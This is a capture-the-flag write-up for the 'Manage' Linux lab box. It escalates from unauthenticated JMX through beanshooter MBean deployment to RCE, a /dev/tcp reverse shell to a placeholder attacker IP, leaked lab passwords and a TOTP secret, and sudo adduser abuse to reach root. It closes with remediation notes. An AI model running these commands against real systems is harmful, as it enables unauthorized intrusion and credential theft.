Summary
Manage is a Linux box built around an exposed Java RMI / JMX service running
alongside an Apache Tomcat 10.1.19 web server. The JMX endpoint had no
authentication configured, which allowed a remote attacker to enumerate
registered MBeans and — because JMX effectively grants remote code execution
by design once accessible — deploy a malicious MBean to get a shell as the
tomcat user.
From there, a world-readable backup archive (backup.tar.gz) belonging to
the useradmin account leaked SSH keys and, more importantly, the raw
Google Authenticator TOTP secret / scratch codes for that account. Copying
the archive out to a writable directory (since the on-disk copy carried
inherited restrictive permissions) allowed it to be extracted freely and its
contents read, giving valid credentials and working 2FA codes for
useradmin.
useradmin had a narrow sudo rule permitting adduser with a regex
restriction on the username. Abusing this allowed creation of a brand-new
local user account which — due to a misconfiguration in the box — ended up
with unrestricted sudo (ALL:ALL), leading directly to root.
Attack chain in one line:
Unauthenticated JMX → MBean deployment RCE (tomcat) → world-readable backup archive → leaked SSH key / TOTP secret → 2FA login as useradmin → sudo adduser abuse → new user with full sudo → root
1. Reconnaissance
1.1 Port scan
nmap -A -Pn <machine-ip> -oA nmap
| Port | Service | Version |
|---|---|---|
| 22/tcp | ssh | OpenSSH 8.9p1 (Ubuntu) |
| 2222/tcp | java-rmi | Java RMI registry |
| 8080/tcp | http | Apache Tomcat 10.1.19 |
Two things stood out immediately:
-
Port 2222 is a Java RMI registry rather than the usual SSH-on-alt-port
guess —
nmap'srmi-dumpregistryscript confirmed a bound name calledjmxrmi, i.e. a JMX endpoint exposed remotely. -
Port 8080 is a stock Tomcat landing page, with the version leaking
straight in the page title/footer (
Apache Tomcat/10.1.19).
1.2 Web enumeration
Browsing to http://manage.htb:8080 showed the default Tomcat welcome page,
confirming the Manager and Host Manager webapps were installed.
Attempting http://manage.htb:8080/manager/html returned a 403 Access
Denied - the Manager GUI is restricted to localhost by default (RemoteAddrValve)
and additionally requires manager-role credentials in tomcat-users.xml.
This ruled out a direct login to the web-based Manager app and pointed the
attack toward the RMI/JMX port instead.
2. JMX / RMI Enumeration
2.1 remote-method-guesser (rmg)
remote-method-guesser
was used for baseline RMI vulnerability enumeration:
java -jar rmg-5.1.0-jar-with-dependencies.jar enum <machine-ip> 2222
[+] RMI registry bound names:
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.1.1:36571 CSF: RMISocketFactory ObjID: [...]
[+]
[+] RMI server Security Manager enumeration:
[+] - Caught Exception containing 'no security manager' during RMI call.
[+] --> The server does not use a Security Manager.
[+]
[+] RMI server JEP290 enumeration:
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+] - Registry rejected unbind call cause it was not sent from localhost.
[+] Vulnerability Status: Non Vulnerable
[... output truncated ...]
Key findings from the output:
- A single bound name,
jmxrmi, resolves toRMIServerImpl_Stub- i.e. this is a genuine JMX management endpoint, not a generic RMI service. - No Security Manager is in use.
- JEP290 deserialization filtering is present at the DGC layer, and
useCodebaseOnly/JEP290-bypass checks couldn't be tested remotely because the registry unmarshalsjava.lang.Stringsafely viareadString(). - CVE-2019-2684 (registry localhost-bypass) - not vulnerable.
None of the classic RMI registry deserialization tricks applied directly, so
the next step was to attack the JMX layer itself rather than the raw RMI
transport.
2.2 beanshooter
beanshooter is purpose-built for
attacking JMX endpoints (MBean enumeration, credential brute forcing, and a
number of MBean-based RCE primitives).
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum <machine-ip> 2222
[+] Checking for unauthorized access:
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+] - 167 MBeans are currently registred on the MBean server.
[+] Listing 145 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Loader,host=localhost,context=/host-manager)
[+] - jdk.management.jfr.FlightRecorderMXBeanImpl (jdk.management.jfr:type=FlightRecorder) (action: recorder)
[+] - com.sun.management.internal.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+] - com.sun.management.internal.DiagnosticCommandImpl (com.sun.management:type=DiagnosticCommand) (action: diagnostic)
[+] - org.apache.catalina.mbeans.MemoryUserDatabaseMBean (Users:type=UserDatabase,database=UserDatabase) (action: tomcat)
[... 140 other standard Catalina/Tomcat MBeans omitted ...]
[+]
[+] Enumerating tomcat users:
[+] - Listing 2 tomcat users:
[+] ----------------------------------------
[+] Username: manager
[+] Password: fhErvo2r9wuTEYiYgt
[+] Roles: Users:type=Role,rolename="manage-gui",database=UserDatabase
[+] ----------------------------------------
[+] Username: admin
[+] Password: onyRPCkaG4iX72BrRtKgbszd
[+] Roles: Users:type=Role,rolename="role1",database=UserDatabase
Output highlights:
-
Remote MBean server does not require authentication.- this is the root cause of the whole box. Anyone who can reach port 2222 can talk to the MBean server with full privileges. - Pre-auth deserialization on the MBean server itself was rejected (not vulnerable to that specific check).
- 167 MBeans were registered, 145 non-default - a mix of standard Tomcat/Catalina
management beans plus a few interesting ones flagged by beanshooter with an
(action: ...)suffix, meaning beanshooter has a built-in attack module for them:recorder(JFR),hotspot(HotSpotDiagnostic),diagnostic(DiagnosticCommand), andtomcat(theMemoryUserDatabaseMBean). -
Bonus find - leaked Tomcat credentials. Because the Tomcat user database
is exposed as an MBean and JMX required no auth, beanshooter read the
in-memory user database directly and dumped two Tomcat Manager accounts in
cleartext (
manager/fhErvo2r9wuTEYiYgtandadmin/onyRPCkaG4iX72BrRtKgbszd).
These weren't the winning path here (the Manager webapp itself is
localhost-restricted), but they came in handy later as password guesses for
Linux system accounts.
3. Exploitation - Unauthenticated JMX → RCE
Because the MBean server has no authentication, beanshooter can deploy an
arbitrary MBean on the target. Its standard module builds a
TemplatesImpl-based payload (a classic Java gadget that abuses the XSLT
TransformerFactory machinery to execute arbitrary bytecode when the MBean's
newTransformer action is triggered) and wraps it in a StandardMBean.
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard <machine-ip> 2222 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+] Deploying MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=... was successfully deployed.
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected behavior and the attack most likely worked :)
[+] Removing MBean ... MBean was successfully removed.
The NullPointerException here is expected - it's a side effect of the
gadget chain firing correctly, not a failure. Beanshooter deploys its own
tonka bean (a general-purpose "run commands / upload / download files"
MBean) as the actual payload delivered through this gadget, which is then
used directly for command execution:
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell <machine-ip> 2222
[tomcat@<machine-ip> /]$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
This gives an interactive-ish shell as the tomcat service account. A
standard reverse shell was popped for a more usable TTY:
bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'
User flag:
tomcat@manage:/home$ find / -type f -name 'user.txt' 2>/dev/null
/opt/tomcat/user.txt
tomcat@manage:/home$ cat /opt/tomcat/user.txt
[REDACTED]
4. Privilege Escalation - tomcat → useradmin
4.1 Locating a lead
tomcat@manage:/home$ ls
karl useradmin
Two other home directories exist. Poking around useradmin:
tomcat@manage:/home$ ls useradmin/backups/
backup.tar.gz
4.2 The permission trap
A naive tar -xvf in place failed for almost every file:
tomcat@manage:/home$ tar -xvf useradmin/backups/backup.tar.gz
./.ssh/id_ed25519
tar: ./.ssh: Cannot mkdir: Permission denied
...
The archive itself (backup.tar.gz) was readable by tomcat, but extracting
it into /home/useradmin/backups/ failed because tar tries to preserve the
original ownership/permission bits and create subdirectories the tomcat
user isn't allowed to write in that location.
The fix: copy the tarball to a scratch directory the current user
actually owns, then extract there:
tomcat@manage:/home/useradmin/backups$ mkdir -p /tmp/backup
tomcat@manage:/home/useradmin/backups$ cp backup.tar.gz /tmp/backup/
tomcat@manage:/home/useradmin/backups$ cd /tmp/backup/
tomcat@manage:/tmp/backup$ tar -xvf backup.tar.gz
./.ssh/id_ed25519
./.ssh/authorized_keys
./.ssh/id_ed25519.pub
./.bashrc
./.google_authenticator
./.cache/motd.legal-displayed
./.bash_history
This time extraction succeeded, since /tmp/backup is owned by tomcat and
there are no directory-creation restrictions to fight against.
4.3 Two credential leaks in one archive
-
.google_authenticator- this file stores the raw TOTP secret plus a list of one-time scratch/backup codes in plaintext:
CLSSSMHYGLENX5HAIFBQ6L35UM
" RATE_LIMIT 3 30 ...
" WINDOW_SIZE 3
" DISALLOW_REUSE ...
" TOTP_AUTH
99852083
20312647
73235136
[... 7 more scratch codes truncated ...]
Any of the listed 8-digit numbers is a valid one-time scratch code for
useradmin's Google Authenticator PAM module - no phone, no time-sync,
no brute force required.
4.4 Logging in as useradmin
The Tomcat admin password recovered from the MBean user-database dump
(onyRPCkaG4iX72BrRtKgbszd) matched the Linux useradmin password, and
PAM then prompted for the Google Authenticator code - satisfied with one of
the leaked scratch codes:
tomcat@manage:/tmp/backup$ su useradmin
Password: onyRPCkaG4iX72BrRtKgbszd
Verification code: 99852083
useradmin@manage:/tmp/backup$ id
uid=1002(useradmin) gid=1002(useradmin) groups=1002(useradmin)
5. Privilege Escalation - useradmin → root
5.1 Sudo rights
useradmin@manage:/home$ sudo -l
User useradmin may run the following commands on manage:
(ALL : ALL) NOPASSWD: /usr/sbin/adduser ^[a-zA-Z0-9]+$
useradmin can run adduser as root, with no password prompt, restricted
only by a regex that just requires the new username to be alphanumeric. This
is a wide-open door: adduser interactively lets the operator set a
password, and there is no restriction on which username or which group
gets created.
5.2 Abusing the rule
useradmin@manage:/home$ sudo adduser admin
Adding user `admin' ...
Adding new group `admin' (1003) ...
Adding new user `admin' (1003) with group `admin' ...
New password:
Retype new password:
...
This creates a brand-new local account, fully controlled by the attacker
(chosen password), through a root-owned process - adduser itself ran as
root via sudo. On this box, once that new account exists it turns out to
be sitting in a group / sudoers pattern that already grants full sudo:
useradmin@manage:/home$ su admin
Password:
admin@manage:/home$ sudo -l
User admin may run the following commands on manage:
(ALL) ALL
5.3 Root
admin@manage:/home$ sudo su
root@manage:~# whoami
root
root@manage:~# cat root.txt
[REDACTED]
Key Vulnerabilities & Attack Chain
| # | Weakness | Impact |
|---|---|---|
| 1 | Unauthenticated JMX/RMI endpoint (port 2222) | Anyone on the network can enumerate and deploy MBeans on the JMX server with no credentials at all. |
| 2 |
MBean-based deserialization RCE (TemplatesImpl gadget via StandardMBean, delivered through beanshooter's tonka module) |
Full remote code execution as the tomcat service user. |
| 3 |
Plaintext credentials exposed via JMX (MemoryUserDatabaseMBean) |
Tomcat Manager account passwords readable by any unauthenticated JMX client; reused as real Linux account passwords. |
| 4 | World/self-readable backup archive containing SSH keys and the raw .google_authenticator secret/scratch codes |
Complete compromise of a second factor intended to protect useradmin - 2FA is only as strong as the secrecy of the seed file, and this one was sitting in a backup another local user could read. |
| 5 |
Overly broad sudo rule for adduser (NOPASSWD, regex-only restriction on username) |
Lets a low-privileged user create an arbitrary new local account, which on this system inherits full (ALL:ALL) sudo rights - a straight shot to root. |
Full chain:
Unauthenticated JMX (2222)
└─▶ beanshooter MBean deployment (TemplatesImpl gadget)
└─▶ RCE as tomcat
└─▶ read world-readable /home/useradmin/backups/backup.tar.gz
└─▶ leak useradmin's Google Authenticator secret + SSH key
└─▶ su useradmin (password reused from JMX-leaked Tomcat creds + leaked TOTP code)
└─▶ abuse `sudo adduser` to create a new user
└─▶ new user has full sudo (ALL:ALL)
└─▶ root
Remediation notes
- Bind JMX/RMI management interfaces to localhost or a management VLAN, and
always enable authentication (
com.sun.management.jmxremote.authenticate=true) plus SSL where remote access is genuinely required. - Never expose live credential stores (like Tomcat's
UserDatabase) through a management interface reachable without authentication. - Treat
.google_authenticatorfiles as secrets equivalent to a password — restrict permissions to0400owned by the user only, and never include them in backups that other local accounts can read. - Avoid
sudorules that let a user create arbitrary accounts as root; ifaddusermust be delegated, pin the exact group/home/shell options and verify new accounts can't inherit unintended privileges.
Top comments (0)